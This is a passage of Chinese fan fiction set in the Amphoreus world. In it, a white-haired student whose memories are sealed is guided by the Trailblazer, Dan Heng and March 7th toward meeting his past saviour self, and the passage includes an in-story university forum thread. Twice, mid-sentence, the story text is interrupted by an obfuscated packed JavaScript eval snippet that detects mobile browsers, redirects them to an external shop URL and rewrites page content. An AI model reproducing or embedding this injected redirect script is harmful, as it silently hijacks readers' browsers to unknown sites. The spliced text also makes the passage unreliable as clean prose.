少女又朝他笑了笑,身影化作七彩的晶光,如同泡沫般消失在空气中,白发青年下意识伸手去捞,只接到了一滴水。 嘀嗒、嘀嗒。 天空中接二连三地落下水滴,渐渐汇聚成一场小雨。 他下意识擦了下眼尾,呢喃道:“……昔涟?是谁?” 016 白厄是在一阵饭香中睁开眼睛的。 他从莫名熟悉的床榻上坐起,一眼就看到了深埋记忆中以为再也不会见到的房间布局,不等他表演一番瞳孔地震,第二眼又看到了两个绝不可能出现在此处的身影。 灰毛开拓者坐在他最初的、哀丽秘榭的家里,正拿着一个造型夸张的漏勺拨弄炉灶上翻滚的汤汁——他的卧室里为什么会有炉灶? 白厄迟疑道:“搭档?丹恒?” 灰毛开拓者明显听到了身后的声响,却没有回头,而是捞出一块肉塞进嘴里,下一秒就烫得原地蹦了起来。 “呜呜……哇哇哇?”他终于转身,对着丹恒手舞足蹈。 丹恒闭目沉默了一秒,而后熟练地竖起手指,喝道:“苍龙濯世,破!” 一道冰凉的水流盘旋而起,灰毛开拓者凑上去咬了几口,终于把口腔温度降低到可以自由说话的程度,对着白厄露出一个闪亮的笑容:“是我,搭档!” 白厄摸了下身上的休闲衣衫,心中一动,面上却露出笑容,道:“真没想到会在这里见到你们,难道是万能的开拓之力将你们也送到‘再创世’之后的世界了?” “不四不四,我们是原装的。”开拓者大着舌头说。 “我们并非你认识的那两个人,但我们确实曾经并肩作战,你可以把我们当作未来的朋友。”丹恒道,“好久不见,白厄。” 再创世后的无名客们吗? 白厄沉思两秒,丝滑地接受了现状。他自然地挤到炉灶面前,与开拓者和丹恒坐在一起,看着咕嘟嘟冒泡的汤汁,有些跃跃欲试。 “好久不见,虽然对我来说上一秒才刚刚见过。”白厄拿起勺子沾了一点放入口中,有些疑惑,“味道不错,但怎么有点熟悉?” “还真能吃出来啊?咳咳,万敌师傅预制菜,你值得拥有。”灰毛开拓者笑眯眯地道,“现在的‘哀丽秘榭’太脆弱,天谴之矛大人进不来,我就带着他提前熬好的汤包进来啦。” “天谴之矛……看来大家再创世后确实由半神成为泰坦啊。”白厄说。 话音刚落,灰毛开拓者和丹恒便谨慎地对视了一眼,白厄发觉了这个小动作,不禁为两位好友的小心翼翼而感到有些好笑。 这个态度,是把他当作玻璃玩偶了吗? “不必如此在意,虽然再创世后的史料真真假假,但对于我们这些‘逐火年代’的老古董来说,推测出一部分事实并不算难,我心中早有准备。”白厄将手放在心口,微笑道,“不过其中还有不少重要的细节无法解明,介意和我说一说吗,搭档?” 面对那双因认真而熠熠发光的蓝色眼瞳,灰毛开拓者不管三七二十一,下意识就想点头,被丹恒扯了一下才反应过来,一时又点头又摇头,最后干脆用力甩了甩脑袋,金色的眼瞳里冒出了许多代表眩晕的星星。 “别介意,他最近被课业压得有点紧,偶尔出来一次就放松过头了。”丹恒熟练地开始做找补,声线平淡却认真,“我们不会吝啬讲述再创世前后的所有信息,但在你听完‘故事’以后,我们希望你可以帮个忙。” 白厄神色稍稍严肃,道:“如果是你们的话,我会尽我所能。” “不要着急,你可以听完再做决定,这个决定需要你发自内心想要帮忙才行。”丹恒摇了摇头,道,“在这之前,让我为你介绍下现状吧。” 灰毛开拓者不知从哪里摸出一块六相冰咔嚓咔嚓咬碎,闻声积极举手。 “我来说吧。简单来讲,这里是重叠于再创世后真实的哀丽秘榭之上的、白厄认知中的‘哀丽秘榭’,这里寄托了他的本源,也封藏了他的记忆。”穹说,“而我们的目标,是让你与自己和解,将白厄、卡厄斯兰那完整地带回这个世界。” 017 他做了一个梦。 在梦中,粉发的少女坐在秋千上,在夕阳与晚风中翻开书本,为他讲了一个童话。 “很久很久……很久以前,有一只奇美拉。他的故乡被黑色的潮水吞没,于是他和粉色的妖精小姐一起加入了逐火之旅,希望拯救尚且存在的世界。他走啊走,走啊走,磨砺了千百般武艺,认识又告别了许多战友,直到旅途行至尽头。 “原来归还火种再创天地是一个谎言,世界只是故事中单薄的一页,他漫长的旅途不过是从书页的开头走到结尾,而等到故事走向尽头,这一页的世界便会在火焰中焚尽,他的过往,他的战友,一切的牺牲与信念,都会化作微不足道的灰烬。 “编写故事之人(造物主)不吝称赞奇美拉的完美,邀请他走出书页,前往更广阔的世界。可是奇美拉不想放弃自己的世界,于是在粉色妖精的帮助下,他令时光倒转,重新回到了书页的起点,想要改变这一切。” 白发少年听到这里,忍不住提出疑问:“昔涟,这真的是童话故事吗?” 情节发展是不是太残酷了一些? “别急呀,故事才刚开始呢。”粉发少女轻笑,将手中的书本翻过一页。 “奇美拉一次又一次回到原点,尝试了无数种办法,直到自己也被火焰的余波烧尽。可是书页上的人如何才能阻止书外的观众?奇美拉等啊等,终于在三千万转的回溯之后,见到了天外落下的星星。 “灰色的小浣熊和青色的小龙为故事带来新的生机,奇美拉默默观察,在又一次走到书页末尾时做出决定,他将世界(书页)托付给天外的星星,自己则带着三千万转的怒火与悲剧源头战斗,并在一切都焚烧殆尽后继续抗争。” 少年还在等待故事的下一步如何展开,却见到粉发少女啪一下合拢书本。 他好奇道:“然后呢?” “然后?然后就是我们的故事了呀。”粉发少女笑眯眯地说,“小浣熊、小青龙找到了失散的伙伴小水母,他们在书页的末尾召集所有同伴,翻开新一页故事,打败了大魔王。也许,我们的世界终究只是个故事,但将故事一页又一页地翻开,世界就会永远延续下去……不是吗?” 白发少年认真地想了想,点点头,说:“我喜欢这个结尾。” “……不行,粉色妖精小姐可是很贪心的,所以我为这个故事续写了一段内容:在奇美拉与大魔王同归于尽之前,小动物们拼尽全力将奇美拉的灰烬捞了出来。” 粉发少女从秋千上跳下,微微弯腰俯视坐在草地上的白发少年,笑着说:“粉色妖精从倒数第二页的世界(永劫回归#33550336)里偷来了奇美拉的虚影,用虚影与灰烬在哀丽秘榭的土地上种出了一只小小的奇美拉,小小奇美拉什么都不知道,最喜欢的事情是躺在麦田里吹晚风。” 少年惊讶地睁大了眼睛,对视间,蓝瞳澄澈如天空。 “小浣熊、小青龙、小水母暂时离开了这个世界,但他们一定会重返此地。曾经是战友的小动物们一起将小小奇美拉养大,但为了让虚假的过去化为真实,小小奇美拉终有一天要接纳自己,在偷来的时间流失殆尽之前,重新回到这个他深爱的世界。” 粉发少女微笑着不再说话,白发少年挠了挠头,说:“即使是讲故事,昔涟说的话也很深奥啊……” “是吗?人家的故事讲得很清楚了,可惜有人在懂装不懂呢。”粉发少女鼓了鼓脸颊,说,“我只是想告诉你,你深爱着这个世界,而这个世界,也深爱着你啊。即使回到这个世界会令你痛苦自责,令你梦魇难消,我们也不会放手任由你永远离去的。在你寻找到真正的自我之前,最后一次满足我们的愿望,和自己和解吧,卡厄斯兰那?” 粉发少女的背后,夕阳逐渐沉入夜幕,只剩下一片如血的黄昏。而在黄昏之中,少女破碎成七彩的晶光,每一片晶光中都有一个流淌金血、毫无声息的少女。 他猛然惊醒。 018 白发青年表情深沉地站在衣冠冢前,认真自省。 世界瞬息万变,可惜没带上他。他不过是照常睡了一觉穿越到逐火年代给泰坦大人们继续讲历史,怎么再穿越回来就跟不上版本了呢? “别愣着了啊,搭档,马上就要‘开门’了,你不想知道衣冠冢里都有什么吗?”这是变化之一的灰毛舍友正在摩拳擦掌。 “……你,算了。你开心就好。”这是变化之二的黑发舍友在日常叹气。 探索队的名单上明明没有你们的名字,你们的专业也和历史、考古没关系,到底是从哪冒出来的啊?白发青年很想这么问,但看周围人毫无异样的表情,又怀疑这是件很正常的事情。 明明我和他已经都知道了不是穿越而是灵魂互换,我还特意留下了提示字条,可另一个“我”为什么一点没配合,任由我满头雾水地穿越回来?白发青年想不明白。 他还以为另一个自己至少会简单留下记录,告诉他昨天都发生了什么事情呢。 “哀丽秘榭的白厄!”那刻夏教授的声音依然极有穿透力,提神醒脑、效果显著,“假如你不想将站在原地继续当作助手的工作的话,现在就到我身边,行动起来!” “是。”白发青年脑海中的杂念一秒清空,动作迅速地装配好各种挂件和仪器,站在了那刻夏的身边。 在抵达之前,探索队的成员已经了解过无名英雄衣冠冢被发现的始末。 衣冠冢本体深埋地下,由一条长长的甬道与地面连接。某天,一名哀丽秘榭的村民从破损的外门误入甬道,在甬道两侧的轮回元素壁画上看出端倪,毫不犹豫地撤退举报一条龙。 这件事迅速得到了翁星高层的重视,他们派人将此处保护起来,直到树庭大学的探查队抵达。现在,经过一天的准备后,探查队决定穿过甬道,打开第二道隔门。 那刻夏担任领队,点了包括白发青年和他的两名舍友在内的一行人组成先锋小队,准备第一批进入衣冠冢内。专业人员谨慎地在第二道隔门两侧做好支护,并用仪器检测半晌确认安全,这才将隔门缓缓拉开。 土石簌簌落下,门户敞开,露出其后深邃幽暗的内里。 白发青年跟在那刻夏走入黑暗之前,忽然回头看了一眼,表情中带上了几分疑惑。 抵达哀丽秘榭之前,他特意将探查队的人员都记在心中,此刻的这些人看起来并无异常,脸孔也都和记忆对得上,但不知为何,他总觉得有些违和。 先锋小队的身影渐渐消失在黑暗中。 “嘻……” 一名工作人员忽然笑了起来。 然后探查队的所有人动作统一地看向门户,弯起嘴角,露出一模一样的笑容。 “救世小子的感知还是那么敏锐,但论起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048711|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡计,当然是我技高一筹……可惜了,还是小时候的他更可爱一点。” 一道慢悠悠的声音在门户前飘散。 019 白发青年和队友失散了。 他感到不可思议,因为他竟然在一条笔直没有岔路口的通道内,在一个被队友夹在中间的位置,和自己的队友失散了。 “刻法勒在上,我这一个月遇到的异常问题,比过去十几年都多,这到底是怎么回事啊。”白发青年短暂沮丧了两秒,很快又振作起来。 他伸手调整了一下头顶的探灯亮度,又摸出无信号的手机看了一眼,最后收紧背包带子,确认将状态调整到最佳后,选择……转身离开。 翁星考古手册必修条例之一写明了遇到异常情况必须及时返回,尤其是落单的情况下,绝对不可以冒进。 白发青年觉得可以先遵守下规则,因为如果这件事并非意外,无论他前进还是后退,幕后者都会指引他走到对方想要的位置。 相比之下,往回走说不定还会引出更多的变化。 几步之后,眼前的世界忽然抖动了一下,一层暗红的纱幕笼罩了整个视野。白发青年一瞬间看到了正在前进的那刻夏老师一行人,下一秒,这些人又变成了飘浮空中、有着奇异花纹的暗红色水母。 ……水母? “嘻嘻,落单了呢。” “可爱的小哥哥,不要害怕呀。” “来玩,来陪我们玩吧。” 暗红水母越靠越近,发出清脆的笑声,那声音语气戏谑,似乎暗藏着危险的恶意。 白发青年沉默了一下,问道:“你就是小水母?” 水母们:“?” 暗红的微光照亮了一片通路,白发青年见到如此诡异的场景,不仅没有转身逃跑,反而靠近了一些,在短暂观望后,非常大胆地向一只水母伸出手。 水母的伞盖柔软、冰凉,富有弹性,手感很好。白发青年自然地捏了两下又轻轻一拍,给出了极高的评价:“可爱,好摸。” “哇!”暗红水母终于反应过来,发出一声悲鸣而后窜出一段距离。四周漂浮的水母逐一消失,只留下这一只,而后暗红的色彩渐渐褪去,变成温和的粉蓝。 “你你你,怎么不按常理出牌?不知道不能随便摸不认识的美少女吗?”粉蓝色的水母叉起两条触手,气咻咻地说道。 白发青年略感惊讶,道:“这不是你的忆灵吗?抱歉,我不知道你的意识也在上面。” “确实是我的忆灵,不过忆灵被人又捏又揉的也很奇怪吧?”粉蓝水母的声音渐渐变低,变得有些心虚,“咱的水母也就给一二三四五六……个人,还有帕姆抱在怀里捏过啦。” 这个幕后黑手好像没有想象中那么聪明啊……白发青年伸手抵着下巴思考了一下,扬起一个笑容,向着水母伸出手,道:“所以,你故意吓我,是想我去哪里呢,永夜之帷(岁月泰坦)大人?” “诶?”粉蓝水母顿时僵硬,一边笑一边试图蒙混过关,“什么永夜之帷?你是不是认错人了,咱不是泰坦也不是无名客,只是路过这里而已。” 您自己都把身份暴完了啊,而且哪有在别人墓里路过的?就算只是衣冠冢也很离谱吧。白发青年无奈地看着水母,感觉满腔敬畏之情都化作了长辈看小辈的慈爱,干脆顺着话向下说道:“好吧,所以好心的路人小姐可以给我指个方向吗,我要和那刻夏老师他们汇合。” 粉蓝色的水母在半空中晃了晃,有些犹豫。 白发青年叹了口气,道:“如果我暂时不能和队友汇合,那就把您希望我去的方向指出来吧,我相信您至少不会害我。” “不用敬称,我叫三月七,叫我三月也行。”粉蓝水母触手荡漾,顿时活泼了不少,“咱当然没有害人的心思,和我来吧。” 粉蓝水母垂下一道触手拉住白发青年的衣角,而后飘飘荡荡地向前。他走了几步,忽然意识到周围不知何时已经变得极为宽阔,黑暗中的甬道悄然消失,化作了一处暗淡的殿堂。 墙壁上刻画着逐火年代风格的壁画,以流动的金粉化作长线,又在长线上画出衣着精致的剑士不断前行的场景。壁画上空的日月逐渐隐没,流淌下红黑的潮水,似乎暗示了时间的流转与黑潮的降临,而那位剑士的身影也逐渐狰狞,最终化作了身披黑袍的怪人。 白发青年不由自主地靠近壁画,一边观摩一边依靠积累的知识做出判断,喃喃自语道:“这就是无名英雄的事迹吗?等等……这是记载中,随黑潮而来的盗火行者?” 他们竟然是同一个人? 和一直没有石锤的无名英雄相比,在无数个小轮回中留下足迹的盗火行者可谓是凶名赫赫,即使考试不及格的学生也知道这个千方百计阻挠逐火的怪物。 可从壁画上看,盗火行者与无名英雄竟然是一个人的不同阶段? 白发青年的心跳开始加速,他本能地想要否认这一点,却忽然想到七彩晶光中折射而出的无数个、无数个负创倒下的少女,那鎏金的颜色灼痛了他的眼睛,令他不得不承认理智给出的答案。 随黑潮而来的怪物为何要阻拦逐火?因为他知道再创世只是谎言。 昔涟为什么要劝他与自己和解?因为无名英雄并非英雄,而是手刃同伴舔舐金血的怪物,是在无数轮回中以救世之名粉饰杀戮的刽子手。 只有童话故事中的人,才会在犯了滔天罪业后还有机会去弥补,而他早知道事情一旦决定便再无反悔的余地。既然在过去凭自己的意志拿起了刀剑,一次又一次地杀掉了走向对立面的同伴,如今又怎么能逃避这份错误? 毕竟,早在做梦梦见昔涟讲出的童话故事时,他就已经彻底确认了自己的身份,不是吗? 汹涌的情绪比之前的每一次都来得更加强烈,眩晕与幻痛一阵阵袭来,心口似乎有烈火在熊熊燃烧,白发青年不得不伸手扶住壁画来稳定身形。 粉蓝色的水母轻盈飘来,担心地伸出一根触手,轻柔地擦了擦他的眼角。 白发青年深呼吸几次缓和情绪,勉强笑了笑,说:“我……没事,别……担心。” 粉蓝色的水母没有立刻回答,挥了挥触手,召唤出一道光滑的镜面。 而在镜面的反光中,他看见了自己金血凝固般颜色的眼眸。 34. 翁星求生指北(七) 020 稍早之前。 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 621L 有没有混入探查队的朋友,说说看,智种学派里有嫌疑人吗? 622L 嫌疑人(笑)。 623L 咱们这么挖楼主的身份是不是不太好? 624L ——回复623L:不挖也藏不住,智种学派就那么多人,稍微打听下就猜到楼主是谁了。 625L 楼上发言有问题啊,不会已经知道是谁了吧。 626L 我我我,我是探查队的一员。 627L 哦豁,还真有。 628L ——回复626L:怎么样怎么样,有什么发现吗? 629L ——回复628L:还没,那刻夏教授太可怕了,把每个人卡着极限压榨,我刚忙完手边的事情,直到上船才有时间拿出手机休息一会,根本没顾上观察别人。 630L 再探再报。 631L ——回复629L:同感,百闻不如一见,那刻夏教授名不虚传。 632L 嗯?探查队里竟然还有第二个坛友? 633L 坏了,匿名论坛没标识,我分不清这两个探子谁是谁了。 634L 没事,探子是谁不重要,我就好奇楼主是谁。 635L 因为凌晨睡不着翻帖子,我也看到楼主的发言了,所以上船前留意了一下。探查队成员互相都不怎么熟,我没有挨个问身份,单凭观察的话,那刻夏教授的助手似乎很可疑。 636L ——回复635L:诶?是那个白毛蓝眼的帅哥吗?他上船时还帮我搬了检测仪器,这东西死沉,我们都是几个人一起抬的,他却单手拎起来了,惊得我差点把眼珠瞪出去。 637L 帅哥,哪里有帅哥? 638L 触发关键词嘞。 639L 力气这么大,似乎和楼主的超高武力值对得上。 640L 白毛蓝眼?这描述怎么有点熟悉。 641L 所以探子二号为什么怀疑那刻夏教授的助手? 642L ——回复641L:探子二号是什么称呼啊喂。好吧,因为我发现助手和那刻夏教授很熟,看起来是一个院系的,所以猜他是智种学派的人。探查队的主流成员还是史院人,其他院系顶多挂一两个人去长见识,所以助手小哥很可疑啊。 643L 智种学派,白发蓝眼,和那刻夏教授很熟……等会儿,等一下,不会是那个人吧? 644L 谁? 645L 就是那位啊!入学第一天在史院大杀四方,把一堆老师从“什么野史我红温了”聊成“怎么回事好像有点道理”状态的那位,最后老师们勉强认可了他,想问问他都选了什么课,之后再重点关照一下,结果却发现这家伙竟然不是历史系的新生。 646L 扑哧,记起来了,都记起来了。 647L 之前看那刻夏教授冲进史院大杀四方我就隐隐觉得熟悉,原来是有先例啊,这算是老师像学生吗? 648L 倒反天罡。 649L 诶?不会吧,我感觉助手小哥挺温和一个人啊? 650L 温和与执着不冲突。这么一说我也想起来了,那位很好相处,性格也开朗,但人实在是倔得很。有幸参加过同一个课题,当时遇到一个很绝望的难题,我们陆陆续续都觉得做错了,只有他还坚持,一个人在实验室里泡了很久,往往凌晨灯还亮着。 651L 这么一说我也有印象了,是那个大二就拿奖的学生团吧?当时公布的实验数据密密麻麻,数量庞大,我都不敢想主持实验的队伍是怎么坚持下来的。 652L 是啊,组里的其他人当时都觉得这个团队奖烫手,受之有愧,反而是他不动声色地挨个话疗,让我们放平心态……那时完全没发现他是特意来找我说话的,很久之后才想明白好像被他忽悠了,虽然是往好的方面忽悠(笑)。 653L 这么一总结,感觉那位的形象都变得巍峨了起来,这是什么双商超高的新品种小太阳吗? 654L 我倒觉得这人很可怕,万一有什么坏心思,单论口才就能把人忽悠得找不着北。 655L 快忽悠我,我愿意被卖了还替他数钱。 656L 逆天。 657L ——回复654L:……好像也不是不行。 658L ——回复657L:你也逆天。 659L 扯远了,所以助手小哥到底是不是楼主? 660L 不如直接问?反正按楼主透露的信息,也不像是想瞒到底的样子。 661L 本人(探子二号)胆小不敢问,探子一号,你上。 662L ——回复661L:? 663L 我认为直接问没问题,正好看到哀丽秘榭的码头了,等下船我就找助手小哥去问一下……好,加油,我可以的!诸位,等我的好消息吧! …… 693L ??? 694L 探子一号是不是去得太久了一点,怎么直到现在都没有消息。 695L 不对,你们没发现另一个问题吗?自从探子一号说看到哀丽秘榭的港口之后,探子二号也没动静了——直到现在,他们就像人间蒸发了一样。 696L 楼上描述得我鸡皮疙瘩都起来了,不要故意吓人,也许只是网不好呢? 697L 浪漫泰坦大人留下的万帏网怎么可能不好用,我在深山老林里都没断过信号,何况是一处还有人居住的小村庄。 698L 我刚给选入探查队的朋友单独发了消息,直到现在都没得到回复……等等,他回复我了,为什么只有一个“嘻”,和一个猫猫头表情包?这不是他平时的风格啊。 699L 哇,楼上还好吗?我听得背后直冒凉气。 700L ——回复699L:嘻,你猜?(猫猫叼硬币.jpg) 021 稍早之前,现实中的哀丽秘榭。 轻柔的水波缓缓起伏,在码头边荡漾起一圈圈涟漪。 戴着帽兜的猫耳少女笑眯眯的摁动手机,欣赏着帖子里一堆人惊悚又震惊的回复语句,直到身后传来一声叹息:“赛法利娅。” “我不是我没有……”赛飞儿下意识将手机塞回昏迷不醒的年轻人的口袋里,略显心虚地对着来人笑了笑,选择转移话题,“一共五十人,全都搬上岸了,没有遗漏。” 阿格莱雅一一看过赛飞儿和并排躺好的昏迷之人,微微摇头,并未多说什么。 “昔涟设置的‘过滤’措施生效了,这些人只是昏了过去,没有被一起拖入那家伙‘心中的哀丽秘榭’,但一下子少了这么多心智反应,很可能会让他发现异常。”万敌抱起手臂,淡淡道,“就算穹、丹恒、三月七也进去了,恐怕也稳不住他。” 赛飞儿嘴角一挑,露出尖尖的虎牙,笑道:“不必担心,这一点就交给我吧。没有记忆的救世小子还是嫩了点,想抓我的破绽,他还早了两万年呢。” “‘心中的哀丽秘榭’容量有限,如果不想强行打破遮盖记忆的帷幕,我们只能在外面守候。”阿格莱雅抬起眼眸,温和道,“所以,拜托你了,赛法利娅。” 赛飞儿的耳朵抖了抖,有些不好意思地抬头看天,随即又主动迎上阿格莱雅的目光,道:“不要小瞧我啊,这件事就放心交给我吧。” 022 白发青年靠着壁画,把自己团成了小小一……好吧,是很大一团。 粉蓝色的水母垂下八根触手试图把人拔起来,努力半天也没成功,遂再次气咻咻地叉腰,道:“啊啊啊气到本姑娘了,你不要装死啊,我刚才看到你抬头了!” 他把脸庞向手臂中又埋了埋,没有吭声。 粉蓝水母绕着人转了几圈,实在没辙,水母凭空炸开,点点晶光中,一身粉蓝的少女迈步走出,鼓着脸抬起相机,给自闭中的某人拍了张照。 咔嚓声中,白发青年下意识想要抬头,但停顿一下后,还是维持了自闭蹲防的姿势。 三月七走到白发青年面前,伸手挠了挠头。 事情走到这一步之前,大家聚在一起分析过白厄可能会有的反应,并做了许多后备计划,所有人都相信白厄最终会接纳一切,这毋庸置疑,只是过程会有所差异——他们的计划正是为“有所差异的过程”而准备的。 可惜计划不比现实,谁都没料到白发青年触摸到一角真相后会原地自闭,装作听不见看不见的样子,简直有几分小孩子般的任性了。 但比起那位总是能快速调整好状态去背负一切,一遇到严重问题就喜欢自己扛的救世主,有一点属于自己的任性,似乎也算进步? 三月七摸出小抄本,从头翻到尾,没在大家准备的“锦囊妙计”里找到应对这个发展的后续计划,思考几秒后选择跳过过程,直奔最终环节。 粉蓝色的少女退开几步,动作鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048712|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祟地抬起相机,对准白发青年的身影。 “先说好,是你先不愿意和我说话的,那咱就只能动用最终手段,换另一个人与你谈谈,送你去见另一个你啦。” 伴随着清脆的快门声,奇妙的力量在四周激荡起浅浅涟漪,白发青年诧异地抬起头,只看见闪光灯亮了一下,而后眼前的世界逐渐扭曲成漩涡,天地倒转。 瞬间之后,他已离开封闭暗淡的墓室内,来到了海风吹拂的码头,一道身穿蓝白衣装的身影正站在码头边缘,静静地眺望着远方的黄昏。 听见细微的声响后,那道身影微微转身,露出一张熟悉又陌生的脸庞。 “啊,好久不见?”他笑着说。 023 无需多做交涉,两个照镜子般的人只是对视了一眼,便明悟了彼此的身份。救世主向旁边挪了挪,让出一点位置,白发青年自然地走上前去,站在救世主的身边。 海岸边安静了很长一段时间。 两人都不是会冷场的性格,倘若这里还有其他人,想必两人中的任意一人早就回开启话题令气氛变得和缓,但现在,这里只有名为“白厄”的个体,情况反而微妙起来。 两双一模一样的蓝瞳对视着,救世主和普通人,逐火年代和再创世后,身份的差异本该让两个相似却不同的人有说不完的话题,但他们从对方的眼中看不到明显的好奇,反而捕捉到了清晰而理智的审视。 白发青年面上不动声色,心中却转动着千百个念头。 在永夜之帷现身的一刻,他便将自己那两位神通广大却形迹可疑的室友与再创世史诗中的无名客们对上了身份——不如说在逐火年代见到丹恒的瞬间,他便心生怀疑。而确凿了几人的身份,再从他们的行为进行反推,盗火行者的事迹也耐人寻味起来。 当然,现在的重点并非解明历史,他更在意另一件事:倘若名为白厄的树庭学生是无名英雄于再创世后的未来,是某种“转生”或“延续”,那么他一直以为的穿越,和过去时光中的逐火年代的奥赫玛,又是什么? 再创世前的世界,不是已经不复存在了吗? 对此,白发青年心中有一个猜测,也许这是泰坦和无名客用某种手段模拟出来的“过去”,而正因为这一点,正因为他了解自己,他才对此刻站在他面前的救世主心生警惕。 无名客们让两人见面,大概率是想让逐火年代的当事人劝说他走向释然,但此时此刻,白发青年只觉得这件事无关紧要。 翁法罗斯的过去不过是一段权杖演算的数据,经历漫长轮回的血泪淬洗,又得到天外来客的帮助,才渐渐成为如今的模样。而作为被短暂拟造出来的“虚幻过去”中的一分子,本质虚假的救世主白厄,其处境又和过去的翁法罗斯何其相似。 两者固然不能同一而论,但白发青年无法决断,救世主是否会想到相同的问题,又是否会放任这段“虚幻过往”在奉献出所有价值后就此消失。 白发青年不会随意以恶意揣测一个人,却也不会忽略最坏的可能性。也许他现在的所思所想不过是在和空气斗智斗勇,但即便存在万分之一的可能性,这真的是一个漏洞,他都会给予最高档的重视程度。 思索之余,他忍不住谴责自己,因为他总是装作无害,精心雕琢了一张阳光开朗的外皮,以此掩盖住空荡荡的内里,又有些懊恼,担心泰坦和无名客们对他过于轻易地放下防备。 即使从未想过这方面的问题,白发青年也很清楚,他固然不会无缘无故地伤害别人,但倘若此刻背负的是属于自己的世界,倘若能将世界的存续多延长哪怕一秒,那么他会毫不犹豫地付出一切。 在世界存亡的立场上,他的善良、痛苦、过往,一切都微不足道。 所以,你身在此处,是否有别的打算呢?白发青年从救世主平静无波的眼瞳中看见了同样神色平静的自己,心中自言自语。 024 穹将视线从壁画上收回,看了看前方的那刻夏,随口问道:“丹恒,你说白厄之前为什么嘱咐我们要对小白复述那些话?还阻止我们把穿越原理告诉小白,我们本来不是打算在小白面对被封锁的记忆前,好好解释一下吗?” 丹恒道:“也许他有自己的打算,我们都清楚白厄有多难被说服,既然他说这样会增加他说服白厄的把握,照做也无妨。” 那刻夏呵了一声,道:“我那学生,思虑繁多还总喜欢装作不在意,这次恐怕是在自己给自己挖坑。既然安宁无事的情况下找不到必然能成功说服‘救世主’回归的理由,那么只要制造出相应的危机,不必我们辛苦打捞,他就会主动跳进网里了。” “额……” 穹和丹恒对视一下,开始挤眉弄眼,试图传递信息:怎么办,那刻夏教授似乎莫名其妙地有些生气,小白回来不会遭殃吧? 丹恒沉默不语,只是按特定频率眨了眨眼睛,悄然做出回复:没关系,其他人会拉住那刻夏的。 35. 翁星求生指北(八) 025 在漫长的僵持后,白发青年和救世主不约而同地选择打破沉寂,度过了一段其乐融融——至少表面上是这样——的时光。 白发青年一副有些摸不清情况但被永夜之帷送来等待说服的模样,救世主也配合地表现出一副来想要说服人但手段柔和渐进的样子,两人如此“你情我愿”的状况下,相处进度条自然跑的飞快。 救世主并不吝啬信息,向白发青年介绍此处是由记忆捏造出的一片类似梦境的世界,而他们都有更改这片世界的权限。 哀丽秘榭的海滨挥手间便被换成热闹非凡的奥赫玛,逐火年代的集市人来人往。救世主拉着白发青年轻车熟路地爬上一处隐蔽却能看见整个集市的房顶,看着洒落的阳光,笑意盈盈地分享起自己的见闻趣事,表情生动又鲜活。 两人一前一后,走过白昼与长夜,走过哀丽秘榭、奥赫玛、悬峰城、神梧树庭……救世主耐心讲述自己在每一处遇到的人和事,时不时指着某个小角落说出一段离奇却符合逻辑的趣闻——白发青年敢保证这段趣闻是现编的,将自己的人生过往慷慨地向另一个自己敞开。 与人相处的温暖,与事获取的回忆,热烈而富有生机的情感表达,加上优越的口才……几乎可以让任何人生出对生活与未来的向往和希望。 当然,如果救世主没有有意无意地说出类似“我喜欢这个世界即使不择手段我也要守护她”“这么美好的地方如果平白消失是不是非常可惜”这种话就更好了。对白发青年来说,这些话几乎是在他的敏感神经上疯狂跳舞,令他心中的危机感不由自主地越来越重。 不过……类似话语的出现频率是不是太高了,若非可能性太低,简直像是故意说给他听一样。白发青年的心底闪过一丝疑惑。 在他暗暗挠头之时,救世主瞥了他一眼,蓝瞳中笑意闪动,又在白发青年看过来前恢复了完美无缺的表情。 一路上,救世主并未直白地要求他接纳如同水中月镜中花般模糊的过往,也没有提及他的过错与自我谅解,只是不断抛出一个又一个令人心痒的话题,所说所行坦荡真诚。于是等到回过神来,白发青年发现自己已经真情实感地和救世主聊起了日常爱好,并颇有共鸣。 大意了,不对不对,我没有动摇,这肯定是吃了阅历不足的亏……白发青年默默把心中的警戒等级又拉高了一档。 “对了,说起再创世,还有一个地方比较特殊。”救世主忽然停下脚步,笑着道,“你知道创世涡心吗?” “记载很多,听说是黄金裔继承火种成为半神的场地。”白发青年道。 救世主抵着下巴点点头,道:“见过壁画吗?不如你也来试试,将此处构建成你想象中的创世涡心,实话说,我也有些好奇你会构建出什么样子呢。” 此前都是救世主负责切换场景,这个提议稍显突兀却并不奇怪。白发青年闭上眼睛摸索着操纵场景的方法,没看到另一人快速伸手揉了揉脸庞,似乎在调整表情。 周围的场景闪烁了一下,很快变成了一处空旷宏大的平台,十二泰坦的符号悬浮在尽头的星空上,一泓灵水在平台中心荡漾。 白发青年睁开眼睛,壁画在这一刻化为现实,令他心生震撼。 下一秒,莫名而来的眩晕直冲头顶,上下颠倒、肢体错乱的感觉乱糟糟地袭来,令他一时僵硬在原地。 嗒、嗒、嗒。 不急不缓的脚步声在创世涡心格外清晰,救世主绕到他的面前,背对星空,蓝瞳中不见光亮。 “啊,忘了和你说。”他用平缓的毫无起伏,甚至有些无机质的声线道,“以人的精神拟造外物,负担很大,在你进来之前,我可是适应了很久才做到行动自如。” 等等,难道说……白发青年眼瞳骤然缩紧,却被束缚在混乱的余韵中,连动弹一下手指都做不到。 救世主将他拖到平台边缘,而后伸手按住他的心口,慢慢用力。 